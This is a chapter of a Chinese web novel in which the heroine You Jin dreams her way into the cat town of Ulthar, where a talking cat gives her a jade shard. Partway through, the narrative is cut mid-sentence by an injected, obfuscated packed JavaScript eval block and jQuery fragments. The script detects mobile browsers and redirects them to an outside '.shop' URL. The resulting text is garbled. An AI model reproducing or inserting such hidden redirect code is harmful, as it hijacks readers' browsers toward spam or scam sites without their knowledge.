尤今揉了揉眼睛,仔细去看这几幅图和标注,眉梢不觉扬起。


    这……真的假的?


    城堡、村庄、森林、奇异生物……大多数图展示的似乎都是极其魔幻古典的场景。


    最特殊的一幅,画的是一个躺在床上的人做梦,梦中他正走下一长串台阶,台阶上刻印着玄妙的花纹,呈螺旋形向下延伸,一直到黑暗里去。


    而她用一支箭头将这幅图同村落连接在一起,英文拼音交错的标注大致可以理解为:“像图中一样做梦,走下七十级台阶进入村庄,猫会来寻找,它带着石板。”


    也就是说,她要通过做梦来进入一个特定的地方,然后从一只猫那里获得石板。


    这个世界的物理定律真的没有乱套吗??


    算了,如此深奥的问题她这个纯血文科生就不过多执着担忧了。


    仅仅纠结了数秒,尤今就接受了这个荒诞的指示,谁让这是她自己亲手留给自己的线索呢。


    凌晨四点,尤今给客厅里的时钟拧紧发条,将铃响设置在中午十二点。


    而后,她便躺倒在床上,扯过一块先前包裹小块蜡料的布条盖在眼睛上开始酝酿起睡意。


    她在脑海中开始想象起来。


    灰白石阶上,繁复花纹自然而然地浮现,那些线条蔓生出一股无形而柔和的力量,让她沉入梦境。


    再次睁开眼,尤今发现自己处于静谧无垠的黑暗中,脚下是一串螺旋向下的阶梯。


    一片柔软的布料落在她的手背上。


    尤今拿起来看了看,意识到自己是入梦了,而这块布正是睡前搭在眼睛上的那一条。


    现实世界中的物品也可以进来么?


    她把布条握在手里,迈开腿,一步步走下。真是神奇,明明四周黑得伸手不见五指,却偏偏还能看清这些台阶。


    很快,她走到了第七十级,而台阶仍旧在往下延伸着,似乎无穷无尽。周遭则是一片纯粹无解的黑暗,没有任何声响也没有任何黑色以外的东西。


    闭了闭眼,她选择相信自己的直觉同本能。


    一跃而下,经历过短暂的失重,然后她就被稳稳地托住了,脸上拂过尖细柔软的东西,一阵馨香萦绕在鼻尖。


    尤今睁开眼,发现自己竟然倒在了花草丛生的泥地里,蔚蓝的晴空中没有一丝云朵。


    一切感知都是如此的清晰真实。


    她从地上爬起来,看见不远处的河流、田野、一座座飘着炊烟的木屋。


    看来她已经通过这种叫人摸不着头脑的方式来到了“村庄”里。


    尤今沿着田间的小径行走,不一会儿便发现了猫。


    它们看上去和现实世界里的猫毫无差别,有些在草丛间酣睡、在田埂上肆意打滚奔窜,有些则在屋顶上竖着尾巴闲适地行走。


    某个时刻起,猫们都扭过头对着她。


    这是个有点诡异的场面,她从那一双双颜色各异的瞳孔里看到了思索,就像是人在观察另一个人一样。


    但明媚的田园景观和猫们恬静怡然的神态又很好地消解了这一点。


    尤今停下步子,迷茫地看向这些自在舒适的家伙们。


    呃,难道这些猫全是来找她的么?


    这时,有几只猫迈着小碎步跑走了,尤今下意识想跟随而去。


    近前那只伏卧在地上的橘猫忽然间叫了一声,朝她露出了鼓鼓囊囊的肚子。


    这一下子吸引了她的注意。


    可以摸一摸吗?尤今捏了捏手指。


    都翻肚皮了,她再不摸岂不是很没有礼貌。


    尤今蹲下来一点点靠近,把手伸过去等了一会儿,在对方持续邀请的眼神里,终于探入了柔软温暖又毛茸茸的地方。


    她想起自己原先一直很想要养一只猫来着,包里经常带着猫粮随时准备投喂学校和小区里的猫,很多次她都是和……都是和谁来着?


    恍惚间闪过的人影始终是一团模糊,她的思绪卡在这里再也无法厘清分毫。


    尤今把大橘放到自己腿上,正准备从头到脚地捋一遍疏解自己的沮丧时,猫却像是看见了什么东西似地忽然一个扭身从她怀中溜走了。


    她看着猫没入了身后的草丛之中,有些遗憾地回过头,冷不防间视线对上了远处正对的一排篱笆。


    那里不知何时端坐了一只三花猫,毛色鲜亮又蓬松,四肢并拢着一动不动,碧绿滚圆的瞳孔直直盯着她。


    尤今却从这视线里品出一丝熟捻。


    她站起身子,拍去身上的草屑。


    猫就这样微微仰着脑袋看她来到近前,翕动着鼻子嗅了嗅,朝她悠长地“喵”了一声。


    尤今瞪大了眼睛,因为这一声的音调很奇妙,传递出确切的信息,而她竟然还听懂了。


    「你终于来了,尤今。」猫用着猫的语言如此说道。


    不是“尤金”,是“尤今”。


    “我应该认识你。” 尤今愣了许久才找到自己的声音。


    “但我不记得了。”她同猫认真说道。


    「我知道,你上一次来时,当然那已经是很久之前了,说过自己可能会失去记忆。」猫显然也懂得人类的语言,身后的尾巴尖在半空中晃了晃。


    「眼下你的气息似乎发生了些我不太明白的变化,不过既然你现在重新站在这里,说明你已经成功了一部分。」


    猫很贴心地解释起尤今想要知道的东西。


    她声称自己叫“梅尼斯”,而这里名为“乌撒”,是一座梦中的古老城镇,猫在这里受到尊崇与爱戴。


    梅尼斯说尤今曾多次通过做梦来到这里,时而看上去心事重重,但更多时候只是漫无目的地行走或者躺在草丛间发呆,偶尔会在这条小径上蹲下身子,挤眉弄眼地对着她发出“嘬嘬嘬”的奇怪声响。


    尤今:…被一只猫如此直白地说出来还真是羞耻,不过,这是人之常情啊,谁让她长得这么可爱呢。


    时间一长,梅尼斯便对这个行为举止怪异却不让猫厌烦的人类心生好奇,于是朝尤今发出了能够被她理解的声音。


    梅尼斯是一只喜欢听故事的猫,而尤今恰好知道众多这个世界里不存在的新奇故事。


    因此,一人一猫日渐熟悉起来,直到某一日尤今说她要实施自己的计划了。


    “什么计划?” 尤今立即问。


    「我不知道。你来自另一个世界,为了摆脱某些存在而陷入一场沉睡,再次醒来后将会遗忘一些事情,所以你拜托我保存好这块石板。这就是我从你那里知晓的全部。」


    梅尼斯舔了舔自己的爪子,从篱笆上一跃而下,踱步到了尤今前面,领着她走上一条鹅卵石路,拐进树丛深处,将她带到了一间陈设齐全的小木屋里。


    “这里是?”


    「这是我的地盘,是部族中的智慧者才有可能获得的领地。」梅尼斯有些骄傲地昂起头,又跳到了木柜顶上,俯视着她,等待着什么。


    好吧好吧,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316220|197478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很乐意满足这样的猫咪。


    尤今很有眼色地对这里夸赞一番,梅尼斯这才高兴地跃下落在桌上。


    “所以,那块石板在哪里?”


    「你转过去,还要捂住耳朵。」梅尼斯那张端秀的猫脸上出现了跟人一样的纠结表情,甚至还有些难堪。


    ?尤今不明所以,但还是听话地照做了。


    “咔——咔——呃——”


    声音通过尤今松松捂住的手穿进耳朵里。


    这是…吐了??


    直到肩膀被猫爪按了一下,尤今才迫不及待地转过身来。


    她顺着猫咪的视线看向地板,一小团虬结的毛发上沾满黄褐色液体,而下面则是一块翠绿。


    所以翡翠石板真的是翡翠。


    它非常小,也许只有她半个手掌大,说是小片似乎更合适。


    不过相比之下,还是这东西竟然被藏在了猫肚子更让她震惊。


    「这东西时不时就膈着我,现在终于好了。」梅尼斯如释重负地叫了一声,矜持地解释猫肚子是这个世界里最安全最适宜的贮藏之所,几乎可以隔绝一切磨损和侵害。


    “太厉害了,真是辛苦你了。”


    尤今真情实感地赞叹,在她催促的视线下,屏住呼吸徒手捏起了那块薄片,跑到屋外附近的一条小溪边将它清洗干净,这才让它重新躺在自己的手心。


    它看上去极其平滑,纤尘不染,摸上去却很油润。


    边沿实际上不太规整,更像是一块碎片。


    线索说这样的东西一共有五个,也许它们曾经是一个整体,后来又被打碎了。


    石片深处的色彩似乎格外幽深,像是某种更浓稠的液体正在内部缓缓流淌。


    而最为奇特的则是一丝金痕,它笔直贯穿了整块碎片,经过中心那抹稠绿。百科全书里说的文字她倒是一个都没看见。


    尤今久久凝视着那一抹深邃的绿色,总觉它应该流动得更迅速。


    她下意识将指尖一丝能量抽出附着其上,果然被吸收了。


    浓滚的绿色如同被激活般翻涌而起,在这个无限袖珍的空间内诞生出无数交叠的泡沫,而金线勾连其中若隐若现。


    瞬息间,这金绿交织似乎已在她脑中引发了无穷无尽的意象,从无垠深空到一粒浪中砂石都被囊括其中。


    尤今勉力让自己脱离,不再去看石片的正中央,倏然便被金线的一端吸引了注意。


    它来回晃动着,如同表盘上被扰乱的指针……它要指向哪里?


    直到身边的梅尼斯在她耳朵边叫了一声,尤今才回过神来,发现暮色昏瞑。


    她到底在这里站了多久?!


    尤今跟随着梅尼斯重新走进小屋里,瘫软在沙发上昏睡了一阵。


    再次醒来后,尤今又举着这枚碎片,把眼睛瞪得酸胀无比,可绿色和金线都纹丝不动。


    她试着再次抽调自身的生命力,也完全不管用。


    怎么回事?这东西难道还能突然坏了不成。


    「去旧神之庙那里问问好了。」梅尼斯跳到愁眉苦脸的尤今身边。


    “哪里?” 尤今趁机用指尖试探地伸到梅尼斯下巴上,她需要触碰一些温暖的毛茸茸来安抚疲惫受伤的心灵。


    梅尼斯闻了闻她的手指,尤今趁机得寸进尺地开始挠她的下巴。


    「在乌撒城的最高处有一座庙,那里的祭司大概对这东西有点了解。」猫白色的山竹爪子随意点点那块翡翠。